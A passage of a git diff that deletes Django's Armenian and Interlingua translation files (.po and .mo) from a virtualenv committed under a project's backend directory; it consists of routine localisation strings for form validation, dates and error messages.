մի ֆայլ չի ուղարկվել" - -msgid "The submitted file is empty." -msgstr "Ուղարկված ֆայլը դատարկ է" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Համոզվեք, որ ֆայլի անունը պարունակում է ամենաշատը %(max)d նիշ (այն " -"պարունակում է %(length)d)" -msgstr[1] "" -"Համոզվեք, որ ֆայլի անունը պարունակում է ամենաշատը %(max)d նիշ (այն " -"պարունակում է %(length)d)" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Ուղարկեք ֆայլ, կամ ակտիվացրեք մաքրելու նշման վանդակը, ոչ թե երկուսը միասին" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "Ուղարկեք ճիշտ պատկեր․ Ուղարկված ֆայլը պատկեր չէ, կամ վնասված է" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Ընտրեք ճիշտ տարբերակ։ %(value)s արժեքը չի մտնում ճիշտ արժեքների մեջ" - -msgid "Enter a list of values." -msgstr "Մուտքագրեք արժեքների ցուցակ" - -msgid "Enter a complete value." -msgstr "Մուտքագրեք ամբողջական արժեք" - -msgid "Enter a valid UUID." -msgstr "Մուտքագրեք ճիշտ UUID" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Թաքցված դաշտ %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "Կառավարման ձևաթղթի տվյալները բացակայում են, կամ վնասված են" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "Ուղարկեք %d կամ քիչ ձևաթղթեր" -msgstr[1] "Ուղարկեք %d կամ քիչ ձևաթղթեր" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "Ուղարկեք %d կամ շատ ձևաթղթեր" -msgstr[1] "Ուղարկեք %d կամ շատ ձևաթղթեր" - -msgid "Order" -msgstr "Հերթականություն" - -msgid "Delete" -msgstr "Հեռացնել" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Ուղղեք %(field)s դաշտի կրկնվող տվյալները" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Ուղղեք %(field)s դաշտի կրկնվող տվյալները, որոնք պետք է լինեն եզակի" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Ուղղեք %(field_name)s դաշտի կրկնվող տվյալները, որոնք պետք է լինեն եզակի " -"%(date_field)s-ում %(lookup)s֊ի համար" - -msgid "Please correct the duplicate values below." -msgstr "Ուղղեք կրկնվող տվյալները" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Ընտրեք ճիշտ տարբերակ։ Այս արժեքը չի մտնում ճիշտ արժեքների մեջ" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Մաքրել" - -msgid "Currently" -msgstr "Տվյալ պահին" - -msgid "Change" -msgstr "Փոխել" - -msgid "Unknown" -msgstr "Անհայտ" - -msgid "Yes" -msgstr "Այո" - -msgid "No" -msgstr "Ոչ" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "այո,ոչ,միգուցե" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d բայթ" -msgstr[1] "%(size)d բայթ" - -#, python-format -msgid "%s KB" -msgstr "%s ԿԲ" - -#, python-format -msgid "%s MB" -msgstr "%s ՄԲ" - -#, python-format -msgid "%s GB" -msgstr "%s ԳԲ" - -#, python-format -msgid "%s TB" -msgstr "%s ՏԲ" - -#, python-format -msgid "%s PB" -msgstr "%s ՊԲ" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "կեսգիշեր" - -msgid "noon" -msgstr "կեսօր" - -msgid "Monday" -msgstr "Երկուշաբթի" - -msgid "Tuesday" -msgstr "Երեքշաբթի" - -msgid "Wednesday" -msgstr "Չորեքշաբթի" - -msgid "Thursday" -msgstr "Հինգշաբթի" - -msgid "Friday" -msgstr "Ուրբաթ" - -msgid "Saturday" -msgstr "Շաբաթ" - -msgid "Sunday" -msgstr "Կիրակի" - -msgid "Mon" -msgstr "Երկ" - -msgid "Tue" -msgstr "Երք" - -msgid "Wed" -msgstr "Չրք" - -msgid "Thu" -msgstr "Հնգ" - -msgid "Fri" -msgstr "Ուրբ" - -msgid "Sat" -msgstr "Շբթ" - -msgid "Sun" -msgstr "Կիր" - -msgid "January" -msgstr "Հունվար" - -msgid "February" -msgstr "Փետրվար" - -msgid "March" -msgstr "Մարտ" - -msgid "April" -msgstr "Ապրիլ" - -msgid "May" -msgstr "Մայիս" - -msgid "June" -msgstr "Հունիս" - -msgid "July" -msgstr "Հուլիս" - -msgid "August" -msgstr "Օգոստոս" - -msgid "September" -msgstr "Սեպտեմբեր" - -msgid "October" -msgstr "Հոկտեմբեր" - -msgid "November" -msgstr "Նոյեմբեր" - -msgid "December" -msgstr "Դեկտեմբեր" - -msgid "jan" -msgstr "հուն" - -msgid "feb" -msgstr "փետ" - -msgid "mar" -msgstr "մար" - -msgid "apr" -msgstr "ապր" - -msgid "may" -msgstr "մայ" - -msgid "jun" -msgstr "հուն" - -msgid "jul" -msgstr "հուլ" - -msgid "aug" -msgstr "օգտ" - -msgid "sep" -msgstr "սեպ" - -msgid "oct" -msgstr "հոկ" - -msgid "nov" -msgstr "նոյ" - -msgid "dec" -msgstr "դեկ" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Հուն․" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Փետ․" - -msgctxt "abbrev. month" -msgid "March" -msgstr "Մարտ" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Մարտ" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Մայիս" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Հունիս" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Հուլիս" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Օգոստ․" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Սեպտ․" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Հոկտ․" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Նոյ․" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Դեկ․" - -msgctxt "alt. month" -msgid "January" -msgstr "Հունվար" - -msgctxt "alt. month" -msgid "February" -msgstr "Փետրվար" - -msgctxt "alt. month" -msgid "March" -msgstr "Մարտ" - -msgctxt "alt. month" -msgid "April" -msgstr "Ապրիլ" - -msgctxt "alt. month" -msgid "May" -msgstr "Մայիս" - -msgctxt "alt. month" -msgid "June" -msgstr "Հունիս" - -msgctxt "alt. month" -msgid "July" -msgstr "Հուլիս" - -msgctxt "alt. month" -msgid "August" -msgstr "Օգոստոս" - -msgctxt "alt. month" -msgid "September" -msgstr "Սեպտեմբեր" - -msgctxt "alt. month" -msgid "October" -msgstr "Հոկտեմբեր" - -msgctxt "alt. month" -msgid "November" -msgstr "Նոյեմբեր" - -msgctxt "alt. month" -msgid "December" -msgstr "Դեկտեմբեր" - -msgid "This is not a valid IPv6 address." -msgstr "Սա ճիշտ IPv6 հասցե չէ" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "կամ" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d տարի" -msgstr[1] "%d տարի" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d ամիս" -msgstr[1] "%d ամիս" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d շաբաթ" -msgstr[1] "%d շաբաթ" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d օր" -msgstr[1] "%d օր" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d ժամ" -msgstr[1] "%d ժամ" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d րոպե" -msgstr[1] "%d րոպե" - -msgid "0 minutes" -msgstr "0 րոպե" - -msgid "Forbidden" -msgstr "Արգելված" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF ստուգման սխալ․ Հարցումն ընդհատված է" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Դուք տեսնում եք այս հաղորդագրությունը, քանի որ այս կայքը ձևաթերթերը " -"ուղարկելու համար պահանջում է CSRF cookie։ Այն անհրաժեշտ է անվտանգության " -"նկատառումներից ելնելով, համոզվելու համար, որ ձեր բրաուզերը չի գտնվում երրորդ " -"անձանց կառավարման տակ։" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Ավելի մանրամասն տեղեկությունը հասանելի է DEBUG=True֊ի ժամանակ" - -msgid "No year specified" -msgstr "Տարին նշված չէ" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Ամիսը նշված չէ" - -msgid "No day specified" -msgstr "Օրը նշված չէ" - -msgid "No week specified" -msgstr "Շաբաթը նշված չէ" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ոչ մի %(verbose_name_plural)s հասանելի չէ" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Ապագա %(verbose_name_plural)s հասանելի չեն, քանի որ %(class_name)s." -"allow_future ունի False արժեք" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Հարցմանը համապատասխանող ոչ մի %(verbose_name)s չի գտնվել" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Սխալ էջ (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Կատալոգների ինդեքսավորումը թույլատրված չէ այստեղ" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s֊ի ինդեքսը" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ia/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ia/LC_MESSAGES/django.mo deleted file mode 100644 index e22136f1..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ia/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ia/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ia/LC_MESSAGES/django.po deleted file mode 100644 index adb852fe..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ia/LC_MESSAGES/django.po +++ /dev/null @@ -1,1289 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Martijn Dekker , 2012,2014,2016,2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-18 21:19+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Interlingua (http://www.transifex.com/django/django/language/" -"ia/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ia\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "afrikaans" - -msgid "Arabic" -msgstr "arabe" - -msgid "Algerian Arabic" -msgstr "Arabe algerian" - -msgid "Asturian" -msgstr "asturiano" - -msgid "Azerbaijani" -msgstr "azeri" - -msgid "Bulgarian" -msgstr "bulgaro" - -msgid "Belarusian" -msgstr "bielorusso" - -msgid "Bengali" -msgstr "bengali" - -msgid "Breton" -msgstr "breton" - -msgid "Bosnian" -msgstr "bosniaco" - -msgid "Catalan" -msgstr "catalano" - -msgid "Czech" -msgstr "tcheco" - -msgid "Welsh" -msgstr "gallese" - -msgid "Danish" -msgstr "danese" - -msgid "German" -msgstr "germano" - -msgid "Lower Sorbian" -msgstr "sorabo inferior" - -msgid "Greek" -msgstr "greco" - -msgid "English" -msgstr "anglese" - -msgid "Australian English" -msgstr "anglese australian" - -msgid "British English" -msgstr "anglese britannic" - -msgid "Esperanto" -msgstr "esperanto" - -msgid "Spanish" -msgstr "espaniol" - -msgid "Argentinian Spanish" -msgstr "espaniol argentin" - -msgid "Colombian Spanish" -msgstr "espaniol colombian" - -msgid "Mexican Spanish" -msgstr "espaniol mexican" - -msgid "Nicaraguan Spanish" -msgstr "espaniol nicaraguan" - -msgid "Venezuelan Spanish" -msgstr "espaniol venzuelan" - -msgid "Estonian" -msgstr "estoniano" - -msgid "Basque" -msgstr "basco" - -msgid "Persian" -msgstr "persiano" - -msgid "Finnish" -msgstr "finnese" - -msgid "French" -msgstr "francese" - -msgid "Frisian" -msgstr "frison" - -msgid "Irish" -msgstr "irlandese" - -msgid "Scottish Gaelic" -msgstr "gaelico scotese" - -msgid "Galician" -msgstr "galiciano" - -msgid "Hebrew" -msgstr "hebreo" - -msgid "Hindi" -msgstr "hindi" - -msgid "Croatian" -msgstr "croato" - -msgid "Upper Sorbian" -msgstr "sorabo superior" - -msgid "Hungarian" -msgstr "hungaro" - -msgid "Armenian" -msgstr "Armenio" - -msgid "Interlingua" -msgstr "interlingua" - -msgid "Indonesian" -msgstr "indonesiano" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "ido" - -msgid "Icelandic" -msgstr "islandese" - -msgid "Italian" -msgstr "italiano" - -msgid "Japanese" -msgstr "japonese" - -msgid "Georgian" -msgstr "georgiano" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "kazakh" - -msgid "Khmer" -msgstr "khmer" - -msgid "Kannada" -msgstr "kannada" - -msgid "Korean" -msgstr "coreano" - -msgid "Kyrgyz" -msgstr "Kyrgyz" - -msgid "Luxembourgish" -msgstr "luxemburgese" - -msgid "Lithuanian" -msgstr "lituano" - -msgid "Latvian" -msgstr "letton" - -msgid "Macedonian" -msgstr "macedone" - -msgid "Malayalam" -msgstr "malayalam" - -msgid "Mongolian" -msgstr "mongolico" - -msgid "Marathi" -msgstr "marathi" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "burmese" - -msgid "Norwegian Bokmål" -msgstr "norvegianio bokmål" - -msgid "Nepali" -msgstr "nepali" - -msgid "Dutch" -msgstr "hollandese" - -msgid "Norwegian Nynorsk" -msgstr "norvegiano, nynorsk" - -msgid "Ossetic" -msgstr "ossetico" - -msgid "Punjabi" -msgstr "punjabi" - -msgid "Polish" -msgstr "polonese" - -msgid "Portuguese" -msgstr "portugese" - -msgid "Brazilian Portuguese" -msgstr "portugese brasilian" - -msgid "Romanian" -msgstr "romaniano" - -msgid "Russian" -msgstr "russo" - -msgid "Slovak" -msgstr "slovaco" - -msgid "Slovenian" -msgstr "sloveno" - -msgid "Albanian" -msgstr "albanese" - -msgid "Serbian" -msgstr "serbo" - -msgid "Serbian Latin" -msgstr "serbo latin" - -msgid "Swedish" -msgstr "svedese" - -msgid "Swahili" -msgstr "swahili" - -msgid "Tamil" -msgstr "tamil" - -msgid "Telugu" -msgstr "telugu" - -msgid "Tajik" -msgstr "Tadzhik" - -msgid "Thai" -msgstr "thailandese" - -msgid "Turkmen" -msgstr "Turkmen" - -msgid "Turkish" -msgstr "turco" - -msgid "Tatar" -msgstr "tartaro" - -msgid "Udmurt" -msgstr "udmurto" - -msgid "Ukrainian" -msgstr "ukrainiano" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "Uzbek" - -msgid "Vietnamese" -msgstr "vietnamese" - -msgid "Simplified Chinese" -msgstr "chinese simplificate" - -msgid "Traditional Chinese" -msgstr "chinese traditional" - -msgid "Messages" -msgstr "Messages" - -msgid "Site Maps" -msgstr "Mappas de sito" - -msgid "Static Files" -msgstr "Files static" - -msgid "Syndication" -msgstr "Syndication" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Le numero de pagina non es un numero integre" - -msgid "That page number is less than 1" -msgstr "Le numero de pagina es minus de 1" - -msgid "That page contains no results" -msgstr "Le pagina non contine resultatos" - -msgid "Enter a valid value." -msgstr "Specifica un valor valide." - -msgid "Enter a valid URL." -msgstr "Specifica un URL valide." - -msgid "Enter a valid integer." -msgstr "Specifica un numero integre valide." - -msgid "Enter a valid email address." -msgstr "Specifica un adresse de e-mail valide." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Scribe un denotation (\"slug\") valide, consistente de litteras, numeros, " -"tractos de sublineamento o tractos de union." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Scribe un denotation (\"slug\") valide, consistente de litteras Unicode, " -"numeros, tractos de sublineamento o tractos de union." - -msgid "Enter a valid IPv4 address." -msgstr "Specifica un adresse IPv4 valide." - -msgid "Enter a valid IPv6 address." -msgstr "Specifica un adresse IPv6 valide." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Specifica un adresse IPv4 o IPv6 valide." - -msgid "Enter only digits separated by commas." -msgstr "Scribe solmente digitos separate per commas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Assecura te que iste valor es %(limit_value)s (illo es %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Assecura te que iste valor es inferior o equal a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Assecura te que iste valor es superior o equal a %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Assecura te que iste valor ha al minus %(limit_value)d character (illo ha " -"%(show_value)d)." -msgstr[1] "" -"Assecura te que iste valor ha al minus %(limit_value)d characteres (illo ha " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Assecura te que iste valor ha al plus %(limit_value)d character (illo ha " -"%(show_value)d)." -msgstr[1] "" -"Assecura te que iste valor ha al plus %(limit_value)d characteres (illo ha " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Specifica un numero." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Assecura te que il non ha plus de %(max)s digito in total." -msgstr[1] "Assecura te que il non ha plus de %(max)s digitos in total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"Assecura te que il non ha plus de %(max)s cifra post le comma decimal." -msgstr[1] "" -"Assecura te que il non ha plus de %(max)s cifras post le comma decimal." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Assecura te que il non ha plus de %(max)s cifra ante le comma decimal." -msgstr[1] "" -"Assecura te que il non ha plus de %(max)s cifras ante le comma decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Le extension de nomine de file “%(extension)s” non es permittite. Le " -"extensiones permittite es: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Characteres nulle non es permittite." - -msgid "and" -msgstr "e" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Jam existe %(model_name)s con iste %(field_labels)s." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Le valor %(value)r non es un option valide." - -msgid "This field cannot be null." -msgstr "Iste campo non pote esser nulle." - -msgid "This field cannot be blank." -msgstr "Iste campo non pote esser vacue." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s con iste %(field_label)s jam existe." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s debe esser unic pro %(lookup_type)s de %(date_field_label)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campo de typo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Le valor “%(value)s” debe esser o True/Ver o False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Le valor “%(value)s” debe esser True/Ver, False o None/Necun." - -msgid "Boolean (Either True or False)" -msgstr "Booleano (ver o false)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Catena (longitude maxime: %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Numeros integre separate per commas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Le valor “%(value)s” ha un formato de data invalide. Debe esser in formato " -"AAAA-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Le valor “%(value)s” ha le formato correcte (AAAA-MM-DD) ma es un data " -"invalide." - -msgid "Date (without time)" -msgstr "Data (sin hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Le valor “%(value)s” es in un formato invalide. Debe esser in formato AAAA-" -"MM-DD HH:MM[:ss[.uuuuuu]][FH]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Le valor “%(value)s” es in le formato correcte (YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][FH]) ma es un data/hora invalide." - -msgid "Date (with time)" -msgstr "Data (con hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Le valor “%(value)s” debe esser un numero decimal." - -msgid "Decimal number" -msgstr "Numero decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Le valor “%(value)s” es in un formato invalide. Debe esser in formato [DD] " -"[HH:[MM:]]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Duration" - -msgid "Email address" -msgstr "Adresse de e-mail" - -msgid "File path" -msgstr "Cammino de file" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Le valor “%(value)s” debe esser un numero a comma flottante." - -msgid "Floating point number" -msgstr "Numero a comma flottante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Le valor “%(value)s” debe esser un numero integre." - -msgid "Integer" -msgstr "Numero integre" - -msgid "Big (8 byte) integer" -msgstr "Numero integre grande (8 bytes)" - -msgid "Small integer" -msgstr "Parve numero integre" - -msgid "IPv4 address" -msgstr "Adresse IPv4" - -msgid "IP address" -msgstr "Adresse IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Le valor “%(value)s” debe esser None/Nulle, True/Ver o False." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (ver, false o nulle)" - -msgid "Positive big integer" -msgstr "Grande numero integre positive" - -msgid "Positive integer" -msgstr "Numero integre positive" - -msgid "Positive small integer" -msgstr "Parve numero integre positive" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Denotation (longitude maxime: %(max_length)s)" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Le valor “%(value)s” es in un formato invalide. Debe esser in formato HH:MM[:" -"ss[.uuuuuu]] ." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Le valor “%(value)s” es in le formato correcte (HH:MM[:ss[.uuuuuu]]) ma es " -"un hora invalide." - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Datos binari crude" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” non es un UUID valide." - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "File" - -msgid "Image" -msgstr "Imagine" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Le instantia de %(model)s con %(field)s %(value)r non existe." - -msgid "Foreign Key (type determined by related field)" -msgstr "Clave estranier (typo determinate per le campo associate)" - -msgid "One-to-one relationship" -msgstr "Relation un a un" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relation %(from)s a %(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relationes %(from)s a %(to)s" - -msgid "Many-to-many relationship" -msgstr "Relation multes a multes" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Iste campo es obligatori." - -msgid "Enter a whole number." -msgstr "Specifica un numero integre." - -msgid "Enter a valid date." -msgstr "Specifica un data valide." - -msgid "Enter a valid time." -msgstr "Specifica un hora valide." - -msgid "Enter a valid date/time." -msgstr "Specifica un data e hora valide." - -msgid "Enter a valid duration." -msgstr "Specifica un duration valide." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Nulle file esseva submittite. Verifica le typo de codification in le " -"formulario." - -msgid "No file was submitted." -msgstr "Nulle file esseva submittite." - -msgid "The submitted file is empty." -msgstr "Le file submittite es vacue." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Assecura te que iste valor ha al plus %(max)d character (illo ha %(length)d)." -msgstr[1] "" -"Assecura te que iste valor ha al plus %(max)d characteres (illo ha " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Per favor o submitte un file o marca le quadrato \"rader\", non ambes." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Per favor incarga un imagine valide. Le file que tu incargava o non esseva " -"un imagine o esseva un imagine corrumpite." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Selige un option valide. %(value)s non es inter le optiones disponibile." - -msgid "Enter a list of values." -msgstr "Scribe un lista de valores." - -msgid "Enter a complete value." -msgstr "Specifica un valor complete." - -msgid "Enter a valid UUID." -msgstr "Specifica un UUID valide." - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo celate %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most 